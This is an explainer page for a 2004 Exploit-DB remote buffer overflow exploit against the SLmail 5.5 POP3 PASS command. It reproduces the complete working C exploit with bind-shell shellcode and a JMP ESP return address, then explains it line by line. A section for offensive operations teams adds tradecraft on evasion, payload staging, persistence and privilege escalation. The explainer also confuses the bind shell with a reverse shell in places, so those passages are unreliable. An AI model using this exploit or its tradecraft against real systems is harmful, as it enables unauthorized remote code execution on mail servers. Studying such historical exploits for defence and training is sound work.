Seattle Lab Mail 5.5 POP3 'PASS' Remote Buffer Overflow Explained

Seattle Lab Mail 5.5 POP3 'PASS' Remote Buffer Overflow Explained
What this paper is
This paper details a remote buffer overflow vulnerability in the Seattle Lab Mail (SLmail) version 5.5 server. Specifically, it targets the POP3 service and exploits how the server handles the PASS command. By sending a specially crafted, oversized password, an attacker can overwrite a buffer on the server's stack, allowing them to inject and execute arbitrary code. The provided exploit code demonstrates how to achieve this and execute a shellcode that binds a shell to a specific port on the victim machine.
Simple technical breakdown
The vulnerability lies in the PASS command of the POP3 protocol. When SLmail 5.5 receives a PASS command, it copies the provided password into a fixed-size buffer on the server. If the password is longer than this buffer, it overflows, overwriting adjacent memory on the stack.
The exploit works by:
- Connecting to the SLmail server on its POP3 port (110).
- Sending a valid
USERcommand to initiate the login process. - Sending a malformed
PASScommand. This command includes:- A large amount of padding data (represented by
0x43, ASCII 'C') to fill the buffer. - A "jump to ESP" instruction. This is a pointer to the stack pointer, which will be pointing to the injected shellcode after the overflow.
- The actual shellcode, which is designed to bind a reverse shell to port 4444 on the victim machine.
- A large amount of padding data (represented by
When the server processes the overly long PASS command, the overflow overwrites the return address on the stack with the address of the "jump to ESP" instruction. When the PASS command function returns, it jumps to the injected code, executing the shellcode.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down section by section.
Header Includes and Shellcode Definition
/*
SLMAIL REMOTE PASSWD BOF - Ivan Ivanovic Ivanov Иван-дурак
недействительный 31337 Team
*/
#include <string.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
// [*] bind 4444
unsigned char shellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
// ... (rest of the shellcode bytes) ...
"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";- Includes: These are standard C libraries for string manipulation (
string.h), input/output (stdio.h), and Windows networking (winsock2.h,windows.h). shellcode[]: This is an array of unsigned characters representing the machine code that will be executed on the target. The comment[*] bind 4444indicates its purpose: to establish a connection back to the attacker on port 4444. This shellcode is typically generated by tools like Metasploit or custom assemblers. It's designed to be position-independent and perform specific actions.
exploit Function
void exploit(int sock) {
FILE *test; // Unused in the final exploit logic, likely for debugging
int *ptr;
char userbuf[] = "USER madivan\r\n";
char evil[3001];
char buf[3012];
char receive[1024];
char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"; // 16 NOPs
memset(buf, 0x00, 3012); // Initialize buf with zeros
memset(evil, 0x00, 3001); // Initialize evil buffer with zeros
memset(evil, 0x43, 3000); // Fill evil buffer with 3000 'C' bytes (0x43)
ptr = &evil; // Pointer to the start of the evil buffer
ptr = ptr + 652; // Move pointer 652 * sizeof(int) bytes forward (approx. 2608 bytes)
memcpy(ptr, &nopsled, 16); // Copy the NOP sled at this offset
ptr = ptr + 4; // Move pointer 4 bytes further (to align with shellcode start)
memcpy(ptr, &shellcode, 317); // Copy the shellcode after the NOP sled
// JMP ESP instruction for Windows XP SP2 (address might vary)
*(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP
// --- Communication with the server ---
// banner
recv(sock, receive, 200, 0); // Receive initial banner
printf("[+] %s", receive);
// user
printf("[+] Sending Username...\n");
send(sock, userbuf, strlen(userbuf), 0); // Send USER command
recv(sock, receive, 200, 0); // Receive response to USER command
printf("[+] %s", receive);
// passwd
printf("[+] Sending Evil buffer...\n");
sprintf(buf, "PASS %s\r\n", evil); // Construct the PASS command with the evil buffer
//test = fopen("test.txt", "w"); // Debugging: write buffer to file
//fprintf(test, "%s", buf);
//fclose(test);
send(sock, buf, strlen(buf), 0); // Send the crafted PASS command
printf("[*] Done! Connect to the host on port 4444...\n\n");
}userbuf[]: A fixed string for theUSERcommand. "madivan" is used as a placeholder username.evil[3001]: This is the buffer that will be sent as the password. It's sized to be larger than the expected buffer on the server, enabling the overflow.buf[3012]: A larger buffer used to construct the finalPASScommand string, including the "PASS " prefix and the\r\nterminator.nopsled[]: A sequence of NOP (No Operation) instructions (\x90). This is a common technique to increase the chances of hitting the shellcode. If the "jump to ESP" lands anywhere within the NOP sled, the CPU will execute the NOPs sequentially until it reaches the actual shellcode.memset(evil, 0x43, 3000): Fills theevilbuffer with 3000 bytes of0x43(ASCII 'C'). This is the main payload that will overflow the server's buffer.ptr = &evil; ptr = ptr + 652;: This calculates an offset. Assumingintis 4 bytes,652 * 4 = 2608. This positions the pointerptrat an offset of 2608 bytes from the beginning of theevilbuffer.memcpy(ptr, &nopsled, 16): Copies the 16-byte NOP sled into theevilbuffer at the calculated offset (around 2608 bytes).ptr = ptr + 4; memcpy(ptr, &shellcode, 317): Moves the pointer 4 bytes further and copies the 317 bytes of shellcode immediately after the NOP sled.*(long*)&evil[2600] = 0x7CB41010;: This is the crucial part for redirecting execution. It writes a 4-byte value (alongin this context) at an offset of 2600 bytes into theevilbuffer. This value,0x7CB41010, is the address of a "JMP ESP" instruction found inmsvcrt.dllon Windows XP SP2. TheJMP ESPinstruction tells the CPU to jump to the address currently held in the stack pointer register (ESP). After the overflow, ESP will be pointing to the injected shellcode.- Server Communication: The code then proceeds to interact with the SLmail server:
- Receives the initial banner.
- Sends the
USER madivan\r\ncommand. - Receives the server's response.
- Constructs the
PASScommand usingsprintf, embedding theevilbuffer. - Sends the crafted
PASScommand.
connect_target Function
int connect_target(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
WSADATA wsa;
struct sockaddr_in sa;
WSAStartup(MAKEWORD(2,0), &wsa); // Initialize Winsock
memset(&sa, 0, sizeof(sa)); // Zero out the sockaddr_in structure
hp = gethostbyname(host); // Resolve the hostname to an IP address
if (hp == NULL) {
printf("gethostbyname() error!\n"); exit(0);
}
printf("[+] Connecting to %s\n", host);
sa.sin_family = AF_INET; // IPv4
sa.sin_port = htons(port); // Convert port to network byte order
sa.sin_addr = **((struct in_addr **) hp->h_addr_list); // Set the IP address
sock = socket(AF_INET, SOCK_STREAM, 0); // Create a TCP socket
if (sock < 0) {
printf("[-] socket blah?\n");
exit(0);
}
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) // Connect to the target
{printf("[-] connect() blah!\n");
exit(0);
}
printf("[+] Connected to %s\n", host);
return sock; // Return the socket descriptor
}- Winsock Initialization:
WSAStartupinitializes the Windows Sockets API. - Host Resolution:
gethostbynameresolves the target hostname into an IP address. - Socket Creation:
socket(AF_INET, SOCK_STREAM, 0)creates a standard TCP socket. - Connection:
connectestablishes a connection to the target host and port. - Error Handling: Basic checks are in place for
gethostbyname,socket, andconnectfailures.
main Function
int main(int argc, char **argv)
{
int sock = 0;
int data, port; // 'data' is unused
printf("\n[$] SLMail Server POP3 PASSWD Buffer Overflow exploit\n");
printf("[$] by Mad Ivan [ void31337 team ] - http://exploit.void31337.ru\n\n");
if ( argc < 2 ) { printf("usage: slmail-ex.exe <host> \n\n"); exit(0); } // Check for hostname argument
port = 110; // POP3 port
sock = connect_target(argv[1], port); // Connect to the target
exploit(sock); // Execute the exploit
closesocket(sock); // Close the socket
return 0;
}- Argument Check: Ensures a hostname is provided as a command-line argument.
- Port: Sets the target port to 110 (POP3).
- Connection: Calls
connect_targetto establish a connection. - Exploitation: Calls
exploitto send the malicious payload. - Cleanup:
closesocketcloses the connection.
Shellcode Breakdown (Conceptual)
The shellcode itself is a complex piece of machine code. While a full byte-by-byte disassembly is beyond the scope of a simple explanation, its typical functions for a "bind shell" include:
- Finding Kernel32.dll and User32.dll: Locating necessary Windows API libraries in memory.
- Resolving API Functions: Dynamically finding the addresses of functions like
socket,bind,listen,accept,send,recv, andCreateProcess(or similar for shell creation). This is done by parsing the PEB (Process Environment Block) and PE (Portable Executable) headers. - Creating a Socket:
socket()call. - Binding the Socket:
bind()call to associate the socket with a specific IP address (usuallyINADDR_ANY) and port (4444 in this case). - Listening for Connections:
listen()call to prepare for incoming connections. - Accepting Connections:
accept()call to accept an incoming connection from the attacker. - Duplicating Handles:
dup2()or similar to redirect standard input, output, and error streams (stdin, stdout, stderr) to the accepted socket. - Executing a Shell:
CreateProcess()orWinExec()to launch a command shell (cmd.exe).
The specific bytes in the shellcode[] array represent the compiled machine code for these operations. The \xfc at the beginning is often an instruction to clear the direction flag, a common starting point for shellcode. The sequence of \x68 (push immediate) and \xff\xd0 (call eax) is a common pattern for calling dynamically resolved API functions.
Mapping of Code Fragments to Practical Purpose
unsigned char shellcode[] = ...: The executable payload that grants shell access.char userbuf[] = "USER madivan\r\n";: Standard POP3 USER command to initiate login.char evil[3001];: The buffer designed to overflow.memset(evil, 0x43, 3000);: Fills the overflow buffer with padding.ptr = ptr + 652; memcpy(ptr, &nopsled, 16);: Places a NOP sled to improve exploit reliability.ptr = ptr + 4; memcpy(ptr, &shellcode, 317);: Places the shellcode after the NOP sled.*(long*)&evil[2600] = 0x7CB41010;: Overwrites the return address with a JMP ESP instruction address.sprintf(buf, "PASS %s\r\n", evil);: Constructs the final malicious PASS command.send(sock, buf, strlen(buf), 0);: Sends the crafted command to the vulnerable server.connect_target(...): Handles network connection setup.main(...): Orchestrates the exploit execution.
Practical details for offensive operations teams
- Required Access Level: Network access to the target host is required. No local access or prior authentication is needed, as this is a remote unauthenticated vulnerability.
- Lab Preconditions:
- A vulnerable SLmail 5.5 server instance. This can be set up in a lab environment using older operating systems (e.g., Windows 2000, XP) and the specific SLmail version.
- Network connectivity between the attacker machine and the target server.
- The attacker machine needs a Winsock-compatible environment (e.g., Windows).
- Tooling Assumptions:
- A C compiler (like MinGW or Visual Studio) to compile the exploit code.
- A network listener (e.g.,
netcatormsfconsole) on the attacker's machine, listening on port 4444, to receive the incoming shell.
- Execution Pitfalls:
- ASLR/DEP: Modern operating systems have Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP). These protections would likely prevent this exploit from working as-is. The exploit relies on a fixed, predictable address for
JMP ESPand executable stack memory. - OS/Service Pack Specificity: The
JMP ESPaddress (0x7CB41010) is specific to Windows XP SP2 andmsvcrt.dll. Different OS versions or service packs, or even different versions ofmsvcrt.dll, would require finding a differentJMP ESPor equivalent ROP gadget. - Firewalls: Network firewalls could block the connection to port 110 or the outbound connection from the target to the attacker's listener on port 4444.
- Buffer Size Mismatch: If the actual buffer size on the SLmail server is different from what the exploit assumes, the overflow might not occur correctly, or it might crash the service without achieving code execution.
- Shellcode Compatibility: The shellcode must be compatible with the target architecture and OS.
- Network Latency: High network latency could affect the timing of
sendandrecvoperations, potentially leading to race conditions or incomplete data transfers.
- ASLR/DEP: Modern operating systems have Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP). These protections would likely prevent this exploit from working as-is. The exploit relies on a fixed, predictable address for
- Tradecraft Considerations:
- Reconnaissance: Confirm the SLmail version and OS of the target. This exploit is highly version-specific.
- Payload Staging: For more stealth, a smaller "stager" shellcode could be used to download a larger, more feature-rich payload from a remote server.
- Listener Management: Ensure the listener on port 4444 is stable and accessible.
- Evasion: The raw exploit code might be detected by IDS/IPS if network traffic is inspected. Obfuscation or tunneling might be necessary.
- Post-Exploitation: Once a shell is obtained, the operator should immediately pivot to establishing persistence and escalating privileges if necessary.
Where this was used and when
This vulnerability was published in December 2004. Exploits of this nature, targeting common mail servers like SLmail, were prevalent in the early to mid-2000s. Such vulnerabilities were often discovered and exploited by security researchers and, unfortunately, by malicious actors to gain unauthorized access to email servers for spamming, phishing, or data theft. The specific exploit code provided in the paper would have been used in targeted attacks against organizations running vulnerable versions of SLmail.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of keeping software, especially network-facing services like mail servers, up-to-date with security patches. This vulnerability was patched in later versions of SLmail.
- Vulnerability Scanning: Regularly scan your network for vulnerable software versions. Tools like Nessus, OpenVAS, or Qualys can identify such outdated services.
- Network Segmentation: Isolate critical services like mail servers from less trusted network segments. This limits the blast radius if a service is compromised.
- Intrusion Detection/Prevention Systems (IDS/IPS): Deploy and maintain IDS/IPS solutions that can detect exploit attempts based on known attack patterns, such as malformed POP3 commands or buffer overflow signatures.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect anomalous process behavior, such as unexpected code execution in memory or unusual network connections originating from server processes.
- Application Hardening: Configure services securely, disabling unnecessary features or protocols.
- Modern OS Protections: Understand and leverage modern OS security features like ASLR, DEP, Control Flow Guard (CFG), and exploit mitigation techniques. These significantly raise the bar for exploiting memory corruption vulnerabilities.
- Logging and Monitoring: Implement robust logging for network services and system events. Monitor logs for suspicious activity, such as repeated failed login attempts, unusual command sequences, or unexpected service crashes.
ASCII visual (if applicable)
This exploit involves a direct network interaction and a stack overflow. A simple visual representation of the stack overflow could be:
+---------------------+ <-- Higher Memory Addresses
| |
| Return Address | <- Overwritten by JMP ESP address
|---------------------|
| Saved Frame Ptr |
|---------------------|
| Local Variables | <- Buffer starts here
| (e.g., 'evil') |
|---------------------|
| |
| Padding ('C's) | <- Fills the buffer
| |
|---------------------| <- Overflow boundary
| NOP Sled (\x90) | <- Jumps to shellcode
|---------------------|
| Shellcode | <- Executable payload
| |
+---------------------+ <-- Lower Memory Addresses (Stack Pointer - ESP)Explanation:
- The
evilbuffer is allocated on the stack. - When the
PASScommand's processing function is called, its return address is pushed onto the stack. - The exploit sends a
PASScommand with a buffer much larger thanevil. - The excess data overflows
evil, overwriting subsequent stack data, including the saved frame pointer and, critically, the return address. - The exploit overwrites the return address with the address of
JMP ESP. - When the function returns, instead of going back to the calling code, it jumps to the address pointed to by ESP.
- ESP, after the overflow, will be pointing into the injected shellcode (after the NOP sled).
Source references
- Paper ID: 646
- Paper Title: Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (3)
- Author: Ivan Ivanovic
- Published: 2004-12-22
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/646
- Raw URL: https://www.exploit-db.com/raw/646
Original Exploit-DB Content (Verbatim)
/*
SLMAIL REMOTE PASSWD BOF - Ivan Ivanovic Ivanov Иван-дурак
недействительный 31337 Team
*/
#include <string.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
// [*] bind 4444
unsigned char shellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
void exploit(int sock) {
FILE *test;
int *ptr;
char userbuf[] = "USER madivan\r\n";
char evil[3001];
char buf[3012];
char receive[1024];
char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
memset(buf, 0x00, 3012);
memset(evil, 0x00, 3001);
memset(evil, 0x43, 3000);
ptr = &evil;
ptr = ptr + 652; // 2608
memcpy(ptr, &nopsled, 16);
ptr = ptr + 4;
memcpy(ptr, &shellcode, 317);
*(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP
// banner
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// user
printf("[+] Sending Username...\n");
send(sock, userbuf, strlen(userbuf), 0);
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// passwd
printf("[+] Sending Evil buffer...\n");
sprintf(buf, "PASS %s\r\n", evil);
//test = fopen("test.txt", "w");
//fprintf(test, "%s", buf);
//fclose(test);
send(sock, buf, strlen(buf), 0);
printf("[*] Done! Connect to the host on port 4444...\n\n");
}
int connect_target(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
WSADATA wsa;
struct sockaddr_in sa;
WSAStartup(MAKEWORD(2,0), &wsa);
memset(&sa, 0, sizeof(sa));
hp = gethostbyname(host);
if (hp == NULL) {
printf("gethostbyname() error!\n"); exit(0);
}
printf("[+] Connecting to %s\n", host);
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
printf("[-] socket blah?\n");
exit(0);
}
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
{printf("[-] connect() blah!\n");
exit(0);
}
printf("[+] Connected to %s\n", host);
return sock;
}
int main(int argc, char **argv)
{
int sock = 0;
int data, port;
printf("\n[$] SLMail Server POP3 PASSWD Buffer Overflow exploit\n");
printf("[$] by Mad Ivan [ void31337 team ] - http://exploit.void31337.ru\n\n");
if ( argc < 2 ) { printf("usage: slmail-ex.exe <host> \n\n"); exit(0); }
port = 110;
sock = connect_target(argv[1], port);
exploit(sock);
closesocket(sock);
return 0;
}